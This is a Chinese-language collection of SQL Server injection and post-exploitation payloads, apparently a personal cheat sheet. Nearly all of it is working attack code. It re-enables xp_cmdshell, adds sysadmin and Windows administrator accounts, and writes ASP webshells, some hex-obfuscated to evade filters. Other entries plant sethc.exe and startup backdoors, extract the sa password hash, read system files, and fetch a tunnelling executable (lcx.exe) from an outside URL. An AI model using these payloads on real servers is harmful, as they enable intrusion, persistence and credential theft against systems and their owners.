SQL Server存储过程
Xp_availablemedia 显示机器上有用的驱动器
xp_enumgroups 列出当前系统的使用群组及其说明
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig 获取服务器安全信息
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
xp_servicecontrol 允许用户启动,停止服务
xp_regread 存储过程修改注册表
xp_getfiledetails 获取某文件的相关属性
判断组件是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
基本信息查询
;declare @d int //判断mssql支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and 1=convert (int,db_name()) 当前数据库名
and db_name(1-7)>0 暴所有数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) 是否有数据库读取权限
0=(SELECT top 1 cast([name] as nvarchar(256)) char(94) cast([filename] as nvarchar(256)) from (select top 3 dbid,name,filenmae from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid]desc)--
恢复sp_addextendedproc
Use master
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
sp_addextendedproc恢复各种扩展
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
利用xp_makecab、xp_unpackcab配合404页面,获取路径!
Url;Exec master..xp_makecab 'C:\WINDOWS\Help\iisHelp\common\404b.cab', 'mszip', 1, 'C:\WINDOWS\Help\iisHelp\common\404b.htm'
--先备份404b.htm页面
Url;Exec master..xp_makecab 'C:\WINDOWS\Help\iisHelp\common\metabase.cab', 'mszip', 1, 'C:\WINDOWS\system32\inetsrv\MetaBase.xml'
--备份metabase.xml文件到C:\WINDOWS\Help\iisHelp\common\目录
Url;exec master..xp_unpackcab 'C:\WINDOWS\Help\iisHelp\common\metabase.cab','C:\WINDOWS\Help\iisHelp\common\',1,'404b.htm'
--将MetaBase.bin从C:\WINDOWS\Help\iisHelp\common\metabase.cab中解压出来,并重命名为404b.htm
然后我们访问该站不存在的文件名,就可以利用404b文件帮我们列出文件内容了。
Url;exec master..xp_cmdshell 'net user>C:\WINDOWS\Help\iisHelp\common\404b.htm'--
利用BULK来读取文件
drop table [nspcn]
CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)
BULK INSERT [nspcn] FROM 'c:\boot.ini' WITH (KEEPNULLS)
insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)
select * from [nspcn]
drop table [nspcn]
CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)
BULK INSERT [nspcn] FROM 'C:\Windows\system32\inetsrv\MetaBase.xml' WITH (KEEPNULLS)
insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)
select * from [nspcn]
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'e:\2.asp', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
加sa账号
Url;exec master.dbo.sp_addlogin username,password--
Url;exec master.dbo.sp_addsrvrolemember username,sysadmin--
提升SQL用户权限
exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE; update sysxlogins set xstatus=18 where name='x'--
MSsql2005中启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
dbcc addextendedproc("xp_cmdshell","xplog70.dll")
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--
SA权限下的执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
;xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','black','REG_SZ','net user xiaobing xiaobing /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'regread',null,'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'regwrite',null,'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'c:\windows\system32\taskmgr.exe',REG_SZ
declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'ShellExecute',null,'SAUU.vbs','','c:\','','1'
sauu.vbs为天津管理员账号的vbs脚本放在c盘根目录下
declare @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("iishelp");z.changePassword("123456","");z.setting("AccountType")=3;'
Url;exec master.dbo.xp_cmdshell 'net user 123 123 /add';--
Url;exec sp_makewebtask 'E:\wwwroot\DianCMS\1\bing.asp',' select ''<%25execute(request("a"))%25>'' ';--
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
nc -vv -l -p 50
Url;exec master..xp_cmdshell 'mstsc -v:远程ip:50'--
exec master.dbo.xp_subdirs 'c:\' 列目录
写一句话木马
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'
防注入写法
declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255);
set @c=0x6D61737465722E2E73705F6F61637265617465;
set @d=0x6D61737465722E2E73705F6F616D6574686F64;
set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;
set @f=0x4372656174655465787446696C65;
set @g=0x433A5C496E65747075625C73797374656D2E617370;
set @h=0x74727565;
set @i=0x7772697465;
set @j=0x3C256576616C20726571756573742822582229253E;
exec @c @e,@a output;
exec @d @a,@f,@b output,@g,@h;
exec @d @b,@i,null,@j
恢复cmdshell防注入
declare @a varchar(255),@b varchar(255),@c varchar(255);
set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;
set @b=0x78705F636D647368656C6C;
set @c=0x78706C6F6737302E646C6C;
exec @a @b,@c
导出文件的存储过程
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'
SA沙盒模式提权
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")');
利用xp_readerrorlog来读取文件
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'
xp_regwrite写注册表,替换sethc.exe实现提权
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'
过滤了xp_cmdshell等关键字提交方法语句
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user c xiaobing /add'
复制
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
列目录 db权限?
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
sa下载文件
declare @b varbinary(8000),@hr int,@http int,@down int
exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://www.jestina.co.kr/UpData/Popup/lcx.exe],0
exec @hr = sp_oamethod @http,[send],null
exec @hr=sp_oagetproperty @http,[responsebody],@b output
exec @hr=sp_oacreate [adodb.stream],@down output
exec @hr=sp_oasetproperty @down,[type],1
exec @hr=sp_oasetproperty @down,[mode],3
exec @hr=sp_oamethod @down,[open],null
exec @hr=sp_oamethod @down,[write],null,@b
exec @hr=sp_oamethod @down,[savetofile],null,[d:\RECYCLER\l.exe],1;
查看命令执行结果
drop table black;create TABLE black (result varchar(7996) NULL, ID int NOT NULL IDENTITY (1,1))--
;insert into black exec master..xp_cmdshell 'ipconfig /all'--
and (select result from black where id=1)>0--
sa建立用户
DECLARE @o int
DECLARE @z int
EXEC sp_OACreate 'Shell.Users',@o OUT
EXEC sp_OAMethod @o, 'Create', @z OUT, '11111'
EXEC sp_OASetProperty @z, 'setting', 3 , 'AccountType'
EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', ''
导出注册表
1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--
2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port'
创建sp_readtextfile存储过程
Create proc sp_readTextFile @filename sysname
as
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go
然后利用它读文件
exec sp_readTextFile 'c:\boot.ini'
清除MsSql日志
set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int
停掉或激活某个服务
exec master..xp_servicecontrol 'stop','sharedaccess'
exec master..xp_servicecontrol 'start','sharedaccess'
列出驱动器的名称
EXEC [master].[dbo].[xp_availablemedia]
列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:\windows'
列出当前错误日志的具体内容
EXEC [master].[dbo].[xp_readerrorlog]
列出当前计算机名称
execute master..xp_getnetname
列出当前计算机的驱动器可用空间
execute master..xp_fixeddrives
列出服务器所有本地组
execute master..xp_enumgroups
获取MS SQL的版本号
execute master..sp_msgetversion
列目录
参数说明:目录名,目录深度,是否显示文件==
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
找文件:
http://localhost/index.asp?id=1;drop table tmp;create table tmp([id] [int] IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL) insert into tmp exec master..xp_dirtree 'E:\',0,1--
declare @id int,@depth int,@name nvarchar(300) set @name='index.asp' set @id=(select top 1 id from tmp where isfile=1 and name=@name) set @depth=(select top 1 depth from tmp where isfile=1 and name=@name) while @depth<>1 begin set @id=(select top 1 id from tmp where isfile=0 and id<@id and depth=(@depth-1) order by id desc) set @depth=(select depth from tmp where id=@id) set @name=(select name from tmp where id=@id)+'\'+@name end update tmp set name=@name where id=1--
http://localhost/index.asp?id=1 and (select name from tmp where id=1)>0--
查找目录:
http://localhost/index.asp?id=1;drop table tmp;create table tmp([id] [int] IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL);insert into tmp exec master..xp_dirtree 'c:\inetpub',0,0--
declare @id int,@depth int,@name nvarchar(300) set @name='1' set @id=(select top 1 id from tmp where name=@name) set @depth=(select top 1 depth from tmp where name=@name) while @depth<>1 begin set @id=(select top 1 id from tmp where id<@id and depth=(@depth-1) order by id desc) set @depth=(select depth from tmp where id=@id) set @name=(select name from tmp where id=@id)+'\'+@name end update tmp set name=@name where id=1--
http://localhost/index.asp?id=1 and (select name from tmp where id=1)>0--
<script language=VBScript>
window.moveTo 8888,8888
Set wShell=CreateObject("Wscript.Shell")
wShell.run "cmd.exe /c net user xx xx /add&net localgroup administrators xx /add&net localgroup "Remote Desktop Users" xx /add",0
window.resizeTo 0,0
window.close
</script>
1' and 1=2 union select 1,0x130A0D0A2D2D213E3C736372697074206C616E67756167653D56425363726970743E6F6E206572726F7220726573756D65206E6578743A646174613D2277696E646F772E6D6F7665546F20343030302C343030303A77696E646F772E726573697A65546F20302C303A643D2222312E62617422223A77697468204372656174654F626A656374282222536372697074696E672E46696C6553797374656D4F626A6563742222292E6F70656E7465787466696C6528642C322C74727565293A2E77726974656C696E652022226e6574207573657220787824207869616f62696e6762696e67202f616464266e6574206c6f63616c67726f75702061646d696e6973747261746f727320787824202f61646422223A2E77726974656C696E6520222263642025414C4C555345525350524F46494C452522223A2E77726974656C696E652022223A676F22223A2E77726974656C696E6520222264656C202F73202A2E687461262664656C20253022223A2E77726974656C696E65202222676F746F20676F22223A2E636C6F73653A456E6420776974683A4372656174654F626A656374282222575363726970742E5368656C6C2222292E72756E20642C303A77696E646F772E636C6F7365223A65786563757465207265706C616365287265706C61636528646174612C2240222C225322292C2280222C225322293C2F7363726970743E3C212D2D130A0D0A,3,4,5,6,7,8,9,10,11,12 into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\yy.hta"#
SA密码
select password from master.dbo.sysxlogins where name='sa' 2000
select password from master.dbo.sql_logins where name='sa' 2005
Hash 总共94位 分4段 前6位为常量,接着8位是Salt部分,接下来是40位的大写字母密文,最后40位是混合密文
明文密码全是数字、纯大写字母、数字+大写字母 经过pwdencrypt()加密得到的Hash的混合密文和大写字母密文相同 --------------------------------------------------2010年3月黑x档案
------------------------------db权限成功率很小----------------------------------
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user xiao /add'
exec sp_add_jobserver NULL,'x',@@servername exec sp_start_job 'x'
use msdb exec sp_delete_job null,'jktest1'
EXEC sp_add_job @job_name='jktest1',@enabled = 1,@delete_level = 1
EXEC sp_add_jobstep @job_name='jktest1',@step_name = 'ExeC my sql',@subsystem = 'TSQL',
@CommAnd = 'exeC master..xp_exeCresultSet N''seleCt ''''exeC master..xp_Cmdshell "net user a /add"'''''',N''Master'''
EXEC sp_add_jobServer @job_name = 'jktest1',
@Server_name = 'XIAOBING-50320F'
EXEC sp_start_job @job_name = 'jktest1'
读文件
第一种:利用XP_CMDSHELL
create table hack..tmp(str nvarchar(800))
insert into hack..tmp exec master..xp_cmdshell 'type c:\boot.ini'
drop table tmp
第二种:利用OLE对象接口
create table hack..tmp(str nvarchar(800))
declare @o int,@f int,@str nvarchar(4000)
exec sp_oacreate 'scripting.filesystemobject",@o out;
exec sp_oamethod @o,"opentextfile",@f out,"c:\boot.ini",1;
exec sp_oamethod @f,"readall",@str out;
insert into hack..tmp values(@str)
drop table tmp
第三种:BULK INSERT
create table hack..tmp (str nvarchar(800))
bulk insert hack..tmp from 'c:\boot.ini'
drop table tmp
第四种:扩展存储过程xp_readerrorlog
create table hack..tmp(str nvarchar(800),row int)
insert into tmp exec master..xp_readerrorlog 1,'c:\boot.ini'
drop table tmp
上面的四种方法都是将c:\boot.ini中的数据写入了临时表hack中
PUBLIC权限
xp_getfiledetails
获取指定文件的详细信息,如大小、创建日期。
exec master..xp_getfiledetails 'c:\boot.ini'
xp_ntsec_enumdomains
获取服务器名
exec master..xp_ntsec_enumdomains
xp_fileexist
判断目录/文件是否存在
exec master..xp_fileexist 'c:\boot.ini'
xp_msver
获取系统信息
exec master.dbo.xp_msver
SA权限
Xp_availablemedia
列举可用的系统分区
Exec xp_availablemedia
Xp_enumgroups
列举系统中的用户组
Exec xp_enumgroup
Xp_makecab
将制定的多个文件压缩到一个档案中
Exec xp_makecab ‘c:\1.cab’,MSZIP,1,’c:\boot.ini’,1
Xp_unpackcab
解压档案
Exec xp_unpackcab ‘c:\1.cab’,’c:\tmp’,1
Xp_servicecontrol
控制指定服务
Exec xp_servicecontrol ‘pause’,’schedul’
Exec xp_servicecontrol ‘start’,’schedul’
Exec xp_servicecontrol ‘stop’,’schedul’
Use www.xianzhi.com;–(这里是随便选的一个数据库)
drop table cmd;
create table cmd (a text);
BULK INSERT cmd
FROM ‘d:/freehos/webshell.cc.asp’
WITH (
FIELDTERMINATOR = ‘n’,
ROWTERMINATOR = ‘nn’
)
select * from cmd
这样就成功读出了d:/freehos/xianzhi.asp
加管理员
declare @a int;exec master..sp_oacreate 'ScriptControl',@a output;exec master..sp_oasetproperty @a,'language','VBScript';exec master..sp_oamethod @a,'addcode',null,'sub add():Set o=CreateObject("Shell.Users"):Set u=o.create("Bloodsword$"):u.ChangePassword "0kee","":u.setting("AccountType")=3:end sub';exec master..sp_oamethod @a,'run',null,'add'
上面是我自己以前整理过的。。只是好久没完了